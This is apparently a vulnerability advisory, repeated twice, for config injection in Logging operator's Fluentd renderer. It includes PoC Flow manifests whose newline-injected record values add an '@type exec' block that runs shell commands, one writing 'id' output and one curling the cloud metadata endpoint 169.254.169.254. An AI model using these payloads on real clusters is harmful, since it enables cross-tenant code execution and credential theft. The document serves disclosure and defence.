### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87 Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration. One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103 The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image. ### PoC The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`. First, create a minimal `Output` as the log destination. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Output metadata: name: sink namespace: tenant-a spec: nullout: {} ``` Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: exfil namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "id > /tmp/pwned" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ``` After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`. ```sh kubectl apply -f output.yaml -f flow.yaml kubectl -n <control-namespace> get secret <logging>-fluentd-app \ -o go-template='{{ index .data "fluentd.conf" }}' \ | base64 -d | grep -A8 '@type exec' ``` When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows. ```sh kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned # expected: uid=100(fluent) gid=101(fluent) groups=101(fluent) ``` ### Impact This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator. In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: imds-poc namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ```

### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87 Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration. One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103 The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image. ### PoC The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`. First, create a minimal `Output` as the log destination. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Output metadata: name: sink namespace: tenant-a spec: nullout: {} ``` Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: exfil namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "id > /tmp/pwned" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ``` After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`. ```sh kubectl apply -f output.yaml -f flow.yaml kubectl -n <control-namespace> get secret <logging>-fluentd-app \ -o go-template='{{ index .data "fluentd.conf" }}' \ | base64 -d | grep -A8 '@type exec' ``` When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows. ```sh kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned # expected: uid=100(fluent) gid=101(fluent) groups=101(fluent) ``` ### Impact This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator. In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: imds-poc namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ```